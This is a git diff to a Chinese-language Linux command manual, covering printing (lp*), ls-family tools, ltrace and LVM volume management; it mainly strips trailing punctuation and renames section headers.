-5,9 +5,9 @@ lpadmin ## 说明 -**lpadmin命令** 用于配置CUPS套件中的打印机和类,也被用来设置打印服务器默认打印机。 +**lpadmin命令** 用于配置CUPS套件中的打印机和类,也被用来设置打印服务器默认打印机 -### 语法 +## 选项 ``` lpadmin(选项)(参数) @@ -16,22 +16,22 @@ lpadmin(选项)(参数) ``` --c:将打印机加入类; --i:为打印机设置“system V”风格的接口脚本; --m:从mode目录设置一个标准的“system V”接口脚本或“PPD”文件; --o:为“PPD”或服务器设置选项; --r:从类中删除打印机; --u:设置打印机用户级的访问控制; --D:为打印机提供一个文字描述; --E:允许打印机接受打印任务; --L:为打印机位置提供一个文字描述; --P:为打印机指定一个ppd描述文件; --p:指定要配置的打印机名称; --d:设置默认打印机。 +-c:将打印机加入类 +-i:为打印机设置“system V”风格的接口脚本 +-m:从mode目录设置一个标准的“system V”接口脚本或“PPD”文件 +-o:为“PPD”或服务器设置选项 +-r:从类中删除打印机 +-u:设置打印机用户级的访问控制 +-D:为打印机提供一个文字描述 +-E:允许打印机接受打印任务 +-L:为打印机位置提供一个文字描述 +-P:为打印机指定一个ppd描述文件 +-p:指定要配置的打印机名称 +-d:设置默认打印机 ``` ### 参数 -打印机:指定要配置的打印机的名称。 +打印机:指定要配置的打印机的名称 diff --git a/Linux_man_cn/lpc.md b/Linux_man_cn/lpc.md index c610f7b..1aa2c6f 100644 --- a/Linux_man_cn/lpc.md +++ b/Linux_man_cn/lpc.md @@ -5,15 +5,15 @@ lpc ## 说明 -**lpc命令** 式命令行方式打印机控制程序,有5个内置命令。 +**lpc命令** 式命令行方式打印机控制程序,有5个内置命令 -### 语法 +## 选项 ``` lpc ``` -### 实例 +## 实例 ``` [root@localhost ~]# lpc diff --git a/Linux_man_cn/lpq.md b/Linux_man_cn/lpq.md index 7cbeab3..31d7a53 100644 --- a/Linux_man_cn/lpq.md +++ b/Linux_man_cn/lpq.md @@ -5,9 +5,9 @@ lpq ## 说明 -**lpq命令** 用于显示打印队列中的打印任务的状态信息。 +**lpq命令** 用于显示打印队列中的打印任务的状态信息 -### 语法 +## 选项 ``` lpq(选项) @@ -16,13 +16,13 @@ lpq(选项) ``` --E:强制使用加密方式与服务器连接; --P:显示中的打印机上的打印队列状态;; --U:自动可选的用户名; --a:报告所有打印机的定义任务; --h:指定打印服务器信息; --l:使用长格式输出; -+:指定显示状态的间隔时间。 +-E:强制使用加密方式与服务器连接 +-P:显示中的打印机上的打印队列状态; +-U:自动可选的用户名 +-a:报告所有打印机的定义任务 +-h:指定打印服务器信息 +-l:使用长格式输出 ++:指定显示状态的间隔时间 ``` diff --git a/Linux_man_cn/lpr.md b/Linux_man_cn/lpr.md index 7020acc..f1a0143 100644 --- a/Linux_man_cn/lpr.md +++ b/Linux_man_cn/lpr.md @@ -5,9 +5,9 @@ lpr ## 说明 -**lpr命令** 用于将文件发送给指定打印机进行打印,如果不指定目标打印机,则使用默认打印机。 +**lpr命令** 用于将文件发送给指定打印机进行打印,如果不指定目标打印机,则使用默认打印机 -### 语法 +## 选项 ``` lpr(选项)(参数) @@ -16,22 +16,22 @@ lpr(选项)(参数) ``` --E:与打印服务器连接时强制使用加密; --H:指定可选的打印服务器; --C:指定打印任务的名称; --P:指定接受打印任务的目标打印机; --U:指定可选的用户名; --#:指定打印的份数; --h:关闭banner打印; --m:打印完成后发送E-mail; --r:打印完成后删除文件。 +-E:与打印服务器连接时强制使用加密 +-H:指定可选的打印服务器 +-C:指定打印任务的名称 +-P:指定接受打印任务的目标打印机 +-U:指定可选的用户名 +-#:指定打印的份数 +-h:关闭banner打印 +-m:打印完成后发送E-mail +-r:打印完成后删除文件 ``` ### 参数 -文件:需打印的文件。 +文件:需打印的文件 -### 实例 +## 实例 将man1和man2送到打印机lp进行打印: diff --git a/Linux_man_cn/lprm.md b/Linux_man_cn/lprm.md index f303142..4b54d4f 100644 --- a/Linux_man_cn/lprm.md +++ b/Linux_man_cn/lprm.md @@ -5,9 +5,9 @@ lprm ## 说明 -**lprm命令** 用于删除打印队列中的打印任务。尚未完成的打印机任务会被放在打印机贮列之中,这个命令可用来将常未送到打印机的任务取消。 +**lprm命令** 用于删除打印队列中的打印任务。尚未完成的打印机任务会被放在打印机贮列之中,这个命令可用来将常未送到打印机的任务取消 -### 语法 +## 选项 ``` lprm(选项)(参数) @@ -16,16 +16,16 @@ lprm(选项)(参数) ``` --E:与打印服务器连接时强制使用加密; --P:指定接受打印任务的目标打印机; --U:指定可选的用户名。 +-E:与打印服务器连接时强制使用加密 +-P:指定接受打印任务的目标打印机 +-U:指定可选的用户名 ``` ### 参数 -打印任务:指定需删除的打印任务号。 +打印任务:指定需删除的打印任务号 -### 实例 +## 实例 将打印机hpprint中的第102号任务移除: diff --git a/Linux_man_cn/lpstat.md b/Linux_man_cn/lpstat.md index 8e79476..6e075ff 100644 --- a/Linux_man_cn/lpstat.md +++ b/Linux_man_cn/lpstat.md @@ -5,9 +5,9 @@ lpstat ## 说明 -**lpstat命令** 用于显示CUPS中打印机的状态信息。 +**lpstat命令** 用于显示CUPS中打印机的状态信息 -### 语法 +## 选项 ``` lpstat(选项) @@ -16,17 +16,17 @@ lpstat(选项) ``` --E:与打印机连接时加密; --R:显示打印任务的等级; --U:指定可选用户名; --a:显示接受打印任务的打印机; --c:显示打印机类; --d:显示默认打印机; --h:指定可选的服务器信息; --l:显示长格式; --p:显示指定打印机,以及打印机是否接受打印任务; --s:显示汇总信息; --t:显示所有的状态信息。 +-E:与打印机连接时加密 +-R:显示打印任务的等级 +-U:指定可选用户名 +-a:显示接受打印任务的打印机 +-c:显示打印机类 +-d:显示默认打印机 +-h:指定可选的服务器信息 +-l:显示长格式 +-p:显示指定打印机,以及打印机是否接受打印任务 +-s:显示汇总信息 +-t:显示所有的状态信息 ``` diff --git a/Linux_man_cn/ls.md b/Linux_man_cn/ls.md index d2c0e33..0c538cc 100644 --- a/Linux_man_cn/ls.md +++ b/Linux_man_cn/ls.md @@ -42,10 +42,10 @@ 1 一般问题 (例如:无法访问子文件夹) 2 严重问题 (例如:无法使用命令行参数) -* 匹配文件名中的任何字符串,包括空字符串。 -? 匹配文件名中的任何单个字符。 -[...] 匹配[ ]中所包含的任何字符。 -[!...] 匹配[ ]中非感叹号!之后的字符。 +* 匹配文件名中的任何字符串,包括空字符串 +? 匹配文件名中的任何单个字符 +[...] 匹配[ ]中所包含的任何字符 +[!...] 匹配[ ]中非感叹号!之后的字符 ``` ## 实例 diff --git a/Linux_man_cn/lsattr.md b/Linux_man_cn/lsattr.md index 18fcf57..9e3177b 100644 --- a/Linux_man_cn/lsattr.md +++ b/Linux_man_cn/lsattr.md @@ -5,9 +5,9 @@ lsattr ## 说明 -**lsattr命令** 用于查看文件的第二扩展文件系统属性。 +**lsattr命令** 用于查看文件的第二扩展文件系统属性 -### 语法 +## 选项 ``` lsattr(选项)(参数) @@ -16,20 +16,20 @@ lsattr(选项)(参数) ``` --E:可显示设备属性的当前值,但这个当前值是从用户设备数据库中获得的,而不是从设备直接获得的。 --D:显示属性的名称,属性的默认值,描述和用户是否可以修改属性值的标志。 --R:递归的操作方式; --V:显示指令的版本信息; --a:列出目录中的所有文件,包括隐藏文件。 +-E:可显示设备属性的当前值,但这个当前值是从用户设备数据库中获得的,而不是从设备直接获得的 +-D:显示属性的名称,属性的默认值,描述和用户是否可以修改属性值的标志 +-R:递归的操作方式 +-V:显示指令的版本信息 +-a:列出目录中的所有文件,包括隐藏文件 ``` -lsattr经常使用的几个选项-D,-E,-R这三个选项不可以一起使用,它们是互斥的,经常使用的还有-l,-H,使用lsattr时,必须指出具体的设备名,用-l选项指出要显示设备的逻辑名称,否则要用-c,-s,-t等选项唯一的确定某个已存在的设备。 +lsattr经常使用的几个选项-D,-E,-R这三个选项不可以一起使用,它们是互斥的,经常使用的还有-l,-H,使用lsattr时,必须指出具体的设备名,用-l选项指出要显示设备的逻辑名称,否则要用-c,-s,-t等选项唯一的确定某个已存在的设备 ### 参数 -文件:指定显示文件系统属性的文件名。 +文件:指定显示文件系统属性的文件名 -### 实例 +## 实例 ``` lsattr -E -l rmt0 -H diff --git a/Linux_man_cn/lsb_release.md b/Linux_man_cn/lsb_release.md index b2c29dc..265f22b 100644 --- a/Linux_man_cn/lsb_release.md +++ b/Linux_man_cn/lsb_release.md @@ -7,28 +7,28 @@ lsb_release yum install -y redhat-lsb -LSB是Linux Standard Base的缩写, **lsb_release命令** 用来显示LSB和特定版本的相关信息。如果使用该命令时不带参数,则默认加上-v参数。 +LSB是Linux Standard Base的缩写, **lsb_release命令** 用来显示LSB和特定版本的相关信息。如果使用该命令时不带参数,则默认加上-v参数 ``` --v 显示版本信息。 --i 显示发行版的id。 --d 显示该发行版的描述信息。 --r 显示当前系统是发行版的具体版本号。 --c 发行版代号。 --a 显示上面的所有信息。 --h 显示帮助信息。 +-v 显示版本信息 +-i 显示发行版的id +-d 显示该发行版的描述信息 +-r 显示当前系统是发行版的具体版本号 +-c 发行版代号 +-a 显示上面的所有信息 +-h 显示帮助信息 ``` -如果当前发行版是LSB兼容的,那么`/etc/lsb_release`文件中会包含LSB_VERSION域。这个域的值可以是用冒号隔开的一系列支持的模块。这些模块名是当前版本支持的LSB的模块名。如果当前版本不是LSB兼容的,就不要包含这个域。 +如果当前发行版是LSB兼容的,那么`/etc/lsb_release`文件中会包含LSB_VERSION域。这个域的值可以是用冒号隔开的一系列支持的模块。这些模块名是当前版本支持的LSB的模块名。如果当前版本不是LSB兼容的,就不要包含这个域 -可选的域包括DISTRIB_ID, DISTRIB_RELEASE, DISTRIB_CODENAME,DISTRIB_DESCRIPTION,它们可以覆盖`/etc/distrib-release`文件中的内容。注:这里的distrib要替换为当前的发行版的名字。如果存在`/etc/lsb-release.d`目录,会在该目录中查找文件名并作为附加的模块版本加在LSB_VERSION前面。文件`/etc/distrib-release`中包含了一些描述信息,用来说明应该分析哪些文件名。 +可选的域包括DISTRIB_ID, DISTRIB_RELEASE, DISTRIB_CODENAME,DISTRIB_DESCRIPTION,它们可以覆盖`/etc/distrib-release`文件中的内容。注:这里的distrib要替换为当前的发行版的名字。如果存在`/etc/lsb-release.d`目录,会在该目录中查找文件名并作为附加的模块版本加在LSB_VERSION前面。文件`/etc/distrib-release`中包含了一些描述信息,用来说明应该分析哪些文件名 - 一般的格式是`Distributor release x.x (Codename)`  注意:Debian系统中缺乏相应的描述信息(见`/etc/debian-version`),为了支持Debian系统,大部分信息都被加在了lsb-release文件中。 + 一般的格式是`Distributor release x.x (Codename)`  注意:Debian系统中缺乏相应的描述信息(见`/etc/debian-version`),为了支持Debian系统,大部分信息都被加在了lsb-release文件中 redhat和fedora系统中,还支持一个参数: ``` --s, --short 输出简短的描述信息。 +-s, --short 输出简短的描述信息 ``` diff --git a/Linux_man_cn/lsmod.md b/Linux_man_cn/lsmod.md index 300f3bf..2918c95 100644 --- a/Linux_man_cn/lsmod.md +++ b/Linux_man_cn/lsmod.md @@ -5,15 +5,15 @@ lsmod ## 说明 -**lsmod命令** 用于显示已经加载到内核中的模块的状态信息。执行lsmod命令后会列出所有已载入系统的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放入核心。您可以将这些功能编译成一个个单独的模块,待需要时再分别载入。 +**lsmod命令** 用于显示已经加载到内核中的模块的状态信息。执行lsmod命令后会列出所有已载入系统的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放入核心。您可以将这些功能编译成一个个单独的模块,待需要时再分别载入 -### 语法 +## 选项 ``` lsmod ``` -### 实例 +## 实例 ``` [root@LinServ-1 ~]# lsmod @@ -92,11 +92,11 @@ ohci_hcd 24937 0 ehci_hcd 34509 0 ``` -* 第1列:表示模块的名称。 -* 第2列:表示模块的大小。 -* 第3列:表示依赖模块的个数。 -* 第4列:表示依赖模块的内容。 +* 第1列:表示模块的名称 +* 第2列:表示模块的大小 +* 第3列:表示依赖模块的个数 +* 第4列:表示依赖模块的内容 -通常在使用lsmod命令时,都会采用类似`lsmod | grep -i ext3`这样的命令来查询当前系统是否加载了某些模块。 +通常在使用lsmod命令时,都会采用类似`lsmod | grep -i ext3`这样的命令来查询当前系统是否加载了某些模块 diff --git a/Linux_man_cn/lsof.md b/Linux_man_cn/lsof.md index 2e3a115..6846a52 100644 --- a/Linux_man_cn/lsof.md +++ b/Linux_man_cn/lsof.md @@ -66,7 +66,7 @@ lsof输出各列信息的意义如下: * PPID:父进程标识符(需要指定-R参数) * USER:进程所有者 * PGID:进程所属组 -* FD:文件描述符,应用程序通过文件描述符识别该文件。 +* FD:文件描述符,应用程序通过文件描述符识别该文件 文件描述符列表: @@ -90,11 +90,11 @@ lsof输出各列信息的意义如下: 一般在标准输出、标准错误、标准输入后还跟着文件状态模式: -* u:表示该文件被打开并处于读取/写入模式。 -* r:表示该文件被打开并处于只读模式。 -* w:表示该文件被打开并处于。 -* 空格:表示该文件的状态模式为unknow,且没有锁定。 -* -:表示该文件的状态模式为unknow,且被锁定。 +* u:表示该文件被打开并处于读取/写入模式 +* r:表示该文件被打开并处于只读模式 +* w:表示该文件被打开并处于 +* 空格:表示该文件的状态模式为unknow,且没有锁定 +* -:表示该文件的状态模式为unknow,且被锁定 同时在文件状态模式后面,还跟着相关的锁: @@ -111,12 +111,12 @@ lsof输出各列信息的意义如下: 文件类型: -* DIR:表示目录。 -* CHR:表示字符类型。 -* BLK:块设备类型。 -* UNIX: UNIX 域套接字。 -* FIFO:先进先出 (FIFO) 队列。 -* IPv4:网际协议 (IP) 套接字。 +* DIR:表示目录 +* CHR:表示字符类型 +* BLK:块设备类型 +* UNIX: UNIX 域套接字 +* FIFO:先进先出 (FIFO) 队列 +* IPv4:网际协议 (IP) 套接字 * DEVICE:指定磁盘的名称 * SIZE:文件的大小 * NODE:索引节点(文件在磁盘上的标识) diff --git a/Linux_man_cn/lspci.md b/Linux_man_cn/lspci.md index a058732..8bdac79 100644 --- a/Linux_man_cn/lspci.md +++ b/Linux_man_cn/lspci.md @@ -2,18 +2,18 @@ ## 说明 -**lspci命令** 用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息。 +**lspci命令** 用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息 ## 选项 ```markdown --n:以数字方式显示PCI厂商和设备代码; --t:以树状结构显示PCI设备的层次关系,包括所有的总线、桥、设备以及它们之间的联接; --b:以总线为中心的视图; --d:仅显示给定厂商和设备的信息; --s:仅显示指定总线、插槽上的设备和设备上的功能块信息; --i:指定PCI编号列表文件,而不使用默认的文件; --m:以机器可读方式显示PCI设备信息。 +-n:以数字方式显示PCI厂商和设备代码 +-t:以树状结构显示PCI设备的层次关系,包括所有的总线、桥、设备以及它们之间的联接 +-b:以总线为中心的视图 +-d:仅显示给定厂商和设备的信息 +-s:仅显示指定总线、插槽上的设备和设备上的功能块信息 +-i:指定PCI编号列表文件,而不使用默认的文件 +-m:以机器可读方式显示PCI设备信息 Usage: lspci [] diff --git a/Linux_man_cn/lsusb.md b/Linux_man_cn/lsusb.md index 7e4541b..764e196 100644 --- a/Linux_man_cn/lsusb.md +++ b/Linux_man_cn/lsusb.md @@ -10,11 +10,11 @@ lsusb命令是一个学习USB驱动开发,认识USB设备的助手,推荐大 ## 选项 ```markdown --v:显示USB设备的详细信息; --s<总线:设备号>仅显示指定的总线和(或)设备号的设备; --d<厂商:产品>:仅显示指定厂商和产品编号的设备; --t:以树状结构显示无理USB设备的层次; --V:显示命令的版本信息。 +-v:显示USB设备的详细信息 +-s<总线:设备号>仅显示指定的总线和(或)设备号的设备 +-d<厂商:产品>:仅显示指定厂商和产品编号的设备 +-t:以树状结构显示无理USB设备的层次 +-V:显示命令的版本信息 ``` ## 实例 diff --git a/Linux_man_cn/ltrace.md b/Linux_man_cn/ltrace.md index 0532c29..dd4ce08 100644 --- a/Linux_man_cn/ltrace.md +++ b/Linux_man_cn/ltrace.md @@ -5,9 +5,9 @@ ltrace ## 说明 -**ltrace命令** 是用来跟踪进程调用库函数的情况。 +**ltrace命令** 是用来跟踪进程调用库函数的情况 -### 语法 +## 选项 ``` ltrace [option ...] [command [arg ...]] @@ -16,30 +16,30 @@ ltrace [option ...] [command [arg ...]] ``` --a 对齐具体某个列的返回值。 --c 计算时间和调用,并在程序退出时打印摘要。 --C 解码低级别名称(内核级)为用户级名称。 --d 打印调试信息。 --e 改变跟踪的事件。 --f 跟踪子进程。 --h 打印帮助信息。 --i 打印指令指针,当库调用时。 --l 只打印某个库中的调用。 --L 不打印库调用。 --n, --indent=NR 对每个调用级别嵌套以NR个空格进行缩进输出。 --o, --output=file 把输出定向到文件。 --p PID 附着在值为PID的进程号上进行ltrace。 --r 打印相对时间戳。 --s STRLEN 设置打印的字符串最大长度。 --S 显示系统调用。 --t, -tt, -ttt 打印绝对时间戳。 --T 输出每个调用过程的时间开销。 --u USERNAME 使用某个用户id或组ID来运行命令。 --V, --version 打印版本信息,然后退出。 +-a 对齐具体某个列的返回值 +-c 计算时间和调用,并在程序退出时打印摘要 +-C 解码低级别名称(内核级)为用户级名称 +-d 打印调试信息 +-e 改变跟踪的事件 +-f 跟踪子进程 +-h 打印帮助信息 +-i 打印指令指针,当库调用时 +-l 只打印某个库中的调用 +-L 不打印库调用 +-n, --indent=NR 对每个调用级别嵌套以NR个空格进行缩进输出 +-o, --output=file 把输出定向到文件 +-p PID 附着在值为PID的进程号上进行ltrace +-r 打印相对时间戳 +-s STRLEN 设置打印的字符串最大长度 +-S 显示系统调用 +-t, -tt, -ttt 打印绝对时间戳 +-T 输出每个调用过程的时间开销 +-u USERNAME 使用某个用户id或组ID来运行命令 +-V, --version 打印版本信息,然后退出 -x NAME treat the global NAME like a library subroutine.(求翻译) ``` -### 实例 +## 实例 最基本应用,不带任何参数: diff --git a/Linux_man_cn/lvm.md b/Linux_man_cn/lvm.md index fc14754..51ebe25 100644 --- a/Linux_man_cn/lvm.md +++ b/Linux_man_cn/lvm.md @@ -126,21 +126,21 @@ LVM (logical volume Manager)逻辑卷管理通过将底层物理硬盘抽象 态调整的而且不会丢失数据。新加入的硬盘也不会改变现有上层的逻辑卷 LVM特点: -1.作为一个动态磁盘管理机制,逻辑卷技术大大提高了磁盘管理的灵活性; -2.LVM屏蔽了底层磁盘布局,便于动态的调整磁盘空间大小; +1.作为一个动态磁盘管理机制,逻辑卷技术大大提高了磁盘管理的灵活性 +2.LVM屏蔽了底层磁盘布局,便于动态的调整磁盘空间大小 相关概念: -PE(物理拓展单元) #逻辑卷空间管理的基本单位,默认是4M的大小; +PE(物理拓展单元) #逻辑卷空间管理的基本单位,默认是4M的大小 PV 物理卷 VG 卷组 LV 逻辑卷 LVM原理解析: 1.物理磁盘被格式化为PV,空间被分为一个个的PE -2.不同的PV加入同一个VG,不同的PV的PE全部进入VG的PE池; -3.LV基于PE创建,大小为PE的整数倍,组成LV的PE可能来自不同物理磁盘; +2.不同的PV加入同一个VG,不同的PV的PE全部进入VG的PE池 +3.LV基于PE创建,大小为PE的整数倍,组成LV的PE可能来自不同物理磁盘 4.LV格式化完成后挂载就可以使用了 -5.LV的扩充缩减实际上就是增加了或者减少了组成该LV的PE的数量。其过程不会丢失数据信息; +5.LV的扩充缩减实际上就是增加了或者减少了组成该LV的PE的数量。其过程不会丢失数据信息 FAQ:(Frequently Asked Question) 1.LV的大小应该由PE大小和PE数量决定;默认PE为4M大小的情况下一个逻辑卷最大可以支持256G @@ -161,7 +161,7 @@ xfs_growfs /dev/vg01/lv01 # 更新文件系统(检测磁盘的大小)xfs格 df -hT # 查看更新后文件系统 备注:在没有使用命令resize2fs命令之前,使用df -hT 命令看到逻辑卷的大小并没有变化,为什么? -逻辑卷是底层的东西,操作系统要使用底层的空间需要创建文件系统,创建文件系统(格式化操作)的时候大小就固定下来,因此逻辑卷的大小也是固定的。在拉伸逻辑卷空间时,并没有更新文件系统,所以要要执行更新文件系统的操作,要操作系统识别固定的大小; +逻辑卷是底层的东西,操作系统要使用底层的空间需要创建文件系统,创建文件系统(格式化操作)的时候大小就固定下来,因此逻辑卷的大小也是固定的。在拉伸逻辑卷空间时,并没有更新文件系统,所以要要执行更新文件系统的操作,要操作系统识别固定的大小 ``` ## LVM缩小逻辑卷 @@ -170,7 +170,7 @@ df -hT # 查看更新后文件系统 (在实际运作当中很少使用且这种操作及其危险,容易导致数据丢失)备注:逻辑卷的缩小必须是离线操作,要卸载逻辑卷;xfsdump可备份xfs系统格式 umount /dev/vg01/lv01 # 卸载已经挂载的逻辑卷 e2fsck -f /dev/vg01/lv01 # 强制检测文件系统信息 -resize2fs /dev/vg01/lv01 10G # 缩小文件系统(一般都有提示信息)指定逻辑卷大小为10G大小; +resize2fs /dev/vg01/lv01 10G # 缩小文件系统(一般都有提示信息)指定逻辑卷大小为10G大小 lvreduce -L 10G /dev/vg01/lv01 # 缩小LV lvdisplay; lvs ; lvscan # 查看缩小后的LV mount /dev/vg01/lv01 /mnt # 挂载 @@ -193,9 +193,9 @@ vgreduce vg01 /dev/sdd # 将一个PV从指定卷组中移除 vgdisplay或vgs # 查看缩小后的卷组大小 ``` -**pvchange命令** 允许管理员改变物理卷的分配许可。如果物理卷出现故障,可以使用pvchange命令禁止分配物理卷上的PE。 +**pvchange命令** 允许管理员改变物理卷的分配许可。如果物理卷出现故障,可以使用pvchange命令禁止分配物理卷上的PE -### 语法 +## 选项 ``` pvchange(选项)(参数) @@ -204,15 +204,15 @@ pvchange(选项)(参数) ``` --u:生成新的UUID; --x:是否允许分配PE。 +-u:生成新的UUID +-x:是否允许分配PE ``` ### 参数 -物理卷:指定要修改属性的物理卷所对应的设备文件。 +物理卷:指定要修改属性的物理卷所对应的设备文件 -### 实例 +## 实例 使用pvchange命令禁止分配指定物理卷上的PE。在命令行中输入下面的命令: @@ -227,9 +227,9 @@ Physical volume "/dev/sdb1" changed 1 physical volume changed / 0 physical volumes not changed ``` -**pvremove命令** 用于删除一个存在的物理卷。使用pvremove指令删除物理卷时,它将LVM分区上的物理卷信息删除,使其不再被视为一个物理卷。 +**pvremove命令** 用于删除一个存在的物理卷。使用pvremove指令删除物理卷时,它将LVM分区上的物理卷信息删除,使其不再被视为一个物理卷 -### 语法 +## 选项 ``` pvremove(选项)(参数) @@ -238,16 +238,16 @@ pvremove(选项)(参数) ``` --d:调试模式; --f:强制删除; --y:对提问回答“yes”。 +-d:调试模式 +-f:强制删除 +-y:对提问回答“yes” ``` ### 参数 -物理卷:指定要删除的物理卷对应的设备文件名。 +物理卷:指定要删除的物理卷对应的设备文件名 -### 实例 +## 实例 使用pvremove指令删除物理卷`/dev/sdb2`。在命令行中输入下面的命令: @@ -257,37 +257,37 @@ Labels on physical volume "/dev/sdb2" successfully wiped ``` -**pvdisplay命令** 用于显示物理卷的属性。pvdisplay命令显示的物理卷信息包括:物理卷名称、所属的卷组、物理卷大小、PE大小、总PE数、可用PE数、已分配的PE数和UUID。 +**pvdisplay命令** 用于显示物理卷的属性。pvdisplay命令显示的物理卷信息包括:物理卷名称、所属的卷组、物理卷大小、PE大小、总PE数、可用PE数、已分配的PE数和UUID ```info --s 以短格式输出; --m 显示PE到LE的映射。 +-s 以短格式输出 +-m 显示PE到LE的映射 ``` ## LVM(逻辑卷管理) ```sh 概念介绍: -LVM (logical volume Manager)逻辑卷管理通过将底层物理硬盘抽象封装起来,以逻辑卷的形式表现给上层系统,逻辑卷的大小可以动态调整的而且不会丢失数据。新加入的硬盘也不会改变现有上层的逻辑卷; +LVM (logical volume Manager)逻辑卷管理通过将底层物理硬盘抽象封装起来,以逻辑卷的形式表现给上层系统,逻辑卷的大小可以动态调整的而且不会丢失数据。新加入的硬盘也不会改变现有上层的逻辑卷 LVM特点: -1.作为一个动态磁盘管理机制,逻辑卷技术大大提高了磁盘管理的灵活性; -2.LVM屏蔽了底层磁盘布局,便于动态的调整磁盘空间大小; +1.作为一个动态磁盘管理机制,逻辑卷技术大大提高了磁盘管理的灵活性 +2.LVM屏蔽了底层磁盘布局,便于动态的调整磁盘空间大小 相关概念: -PE(物理拓展单元) #逻辑卷空间管理的基本单位,默认是4M的大小; +PE(物理拓展单元) #逻辑卷空间管理的基本单位,默认是4M的大小 PV 物理卷 VG 卷组 LV 逻辑卷 LVM原理解析: 1.物理磁盘被格式化为PV,空间被分为一个个的PE -2.不同的PV加入同一个VG,不同的PV的PE全部进入VG的PE池; -3.LV基于PE创建,大小为PE的整数倍,组成LV的PE可能来自不同物理磁盘; +2.不同的PV加入同一个VG,不同的PV的PE全部进入VG的PE池 +3.LV基于PE创建,大小为PE的整数倍,组成LV的PE可能来自不同物理磁盘 4.LV格式化完成后挂载就可以使用了 -5.LV的扩充缩减实际上就是增加了或者减少了组成该LV的PE的数量。其过程不会丢失数据信息; +5.LV的扩充缩减实际上就是增加了或者减少了组成该LV的PE的数量。其过程不会丢失数据信息 ``` FAQ:(Frequently Asked Question) @@ -306,16 +306,16 @@ resize2fs /dev/vg01/lv01 # 更新文件系统(检测磁盘的大小) df -hT # 查看更新后文件系统 备注:在没有使用命令resize2fs命令之前,使用df -hT 命令看到逻辑卷的大小并没有变化,为什么? -逻辑卷是底层的东西,操作系统要使用底层的空间需要创建文件系统,创建文件系统(格式化操作)的时候大小就固定下来,因此逻辑卷的大小也是固定的。在拉伸逻辑卷空间时,并没有更新文件系统,所以要要执行更新文件系统的操作,要操作系统识别固定的大小; +逻辑卷是底层的东西,操作系统要使用底层的空间需要创建文件系统,创建文件系统(格式化操作)的时候大小就固定下来,因此逻辑卷的大小也是固定的。在拉伸逻辑卷空间时,并没有更新文件系统,所以要要执行更新文件系统的操作,要操作系统识别固定的大小 ``` ## LVM缩小逻辑卷 ```sh -(在实际运作当中很少使用且这种操作及其危险,容易导致数据丢失)备注:逻辑卷的缩小必须是离线操作,要卸载逻辑卷; +(在实际运作当中很少使用且这种操作及其危险,容易导致数据丢失)备注:逻辑卷的缩小必须是离线操作,要卸载逻辑卷 umount /dev/vg01/lv01 # 卸载已经挂载的逻辑卷 e2fsck -f /dev/vg01/lv01 # 强制检测文件系统信息 -resize2fs /dev/vg01/lv01 10G # 缩小文件系统(一般都有提示信息)指定逻辑卷大小为10G大小; +resize2fs /dev/vg01/lv01 10G # 缩小文件系统(一般都有提示信息)指定逻辑卷大小为10G大小 lvreduce -L 10G /dev/vg01/lv01 # 缩小LV lvdisplay; lvs ; lvscan # 查看缩小后的LV mount /dev/vg01/lv01 /mnt # 挂载 @@ -338,9 +338,9 @@ vgreduce vg01 /dev/sdd # 将一个PV从指定卷组中移除 vgdisplay或vgs # 查看缩小后的卷组大小 ``` -**vgcreate命令** 用于创建LVM卷组。卷组(Volume Group)将多个物理卷组织成一个整体,屏蔽了底层物理卷细节。在卷组上创建逻辑卷时不用考虑具体的物理卷信息。 +**vgcreate命令** 用于创建LVM卷组。卷组(Volume Group)将多个物理卷组织成一个整体,屏蔽了底层物理卷细节。在卷组上创建逻辑卷时不用考虑具体的物理卷信息 -### 语法 +## 选项 ``` vgcreate(选项)(参数) @@ -349,17 +349,17 @@ vgcreate(选项)(参数) ``` --l:卷组上允许创建的最大逻辑卷数; --p:卷组中允许添加的最大物理卷数; --s:卷组上的物理卷的PE大小。 +-l:卷组上允许创建的最大逻辑卷数 +-p:卷组中允许添加的最大物理卷数 +-s:卷组上的物理卷的PE大小 ``` ### 参数 -* 卷组名:要创建的卷组名称; -* 物理卷列表:要加入到卷组中的物理卷列表。 +* 卷组名:要创建的卷组名称 +* 物理卷列表:要加入到卷组中的物理卷列表 -### 实例 +## 实例 使用vgcreate命令创建卷组 "vg1000",并且将物理卷`/dev/sdb1`和`/dev/sdb2`添加到卷组中。在命令行中输入下面的命令: @@ -373,9 +373,9 @@ vgcreate(选项)(参数) Volume group "vg1000" successfully created ``` -**vgdisplay命令** 用于显示LVM卷组的信息。如果不指定"卷组"参数,则分别显示所有卷组的属性。 +**vgdisplay命令** 用于显示LVM卷组的信息。如果不指定"卷组"参数,则分别显示所有卷组的属性 -### 语法 +## 选项 ``` vgdisplay(选项)(参数) @@ -384,15 +384,15 @@ vgdisplay(选项)(参数) ``` --A:仅显示活动卷组的属性; --s:使用短格式输出的信息。 +-A:仅显示活动卷组的属性 +-s:使用短格式输出的信息 ``` ### 参数 -卷组:要显示属性的卷组名称。 +卷组:要显示属性的卷组名称 -### 实例 +## 实例 使用vgdisplay命令显示存在的卷组"vg1000"的属性。在命令行中输入下面的命令: @@ -411,9 +411,9 @@ vgdisplay(选项)(参数) ``` -**vgscan命令** 查找系统中存在的LVM卷组,并显示找到的卷组列表。vgscan命令仅显示找到的卷组的名称和LVM元数据类型,要得到卷组的详细信息需要使用vgdisplay命令。 +**vgscan命令** 查找系统中存在的LVM卷组,并显示找到的卷组列表。vgscan命令仅显示找到的卷组的名称和LVM元数据类型,要得到卷组的详细信息需要使用vgdisplay命令 -### 语法 +## 选项 ``` vgscan(选项) @@ -422,11 +422,11 @@ vgscan(选项) ``` --d:调试模式; ---ignorerlockingfailure:忽略锁定失败的错误。 +-d:调试模式 +--ignorerlockingfailure:忽略锁定失败的错误 ``` -### 实例 +## 实例 使用vgscan命令扫描系统中所有的卷组。在命令行中输入下面的命令: @@ -441,11 +441,11 @@ Found volume group "vg2000" using metadata type lvm2 Found volume group "vg1000" using metadata type lvm2 ``` -说明:本例中,vgscan指令找到了两个LVM2卷组"vg1000"和"vg2000"。 +说明:本例中,vgscan指令找到了两个LVM2卷组"vg1000"和"vg2000" -**grename命令** 可以重命名卷组的名称。 +**grename命令** 可以重命名卷组的名称 -### 语法 +## 选项 ``` vgrename [选项] [旧卷组路径|旧卷组名称|旧卷组UUID] [新卷组路径|新卷组名称] @@ -460,22 +460,22 @@ vgrename [选项] 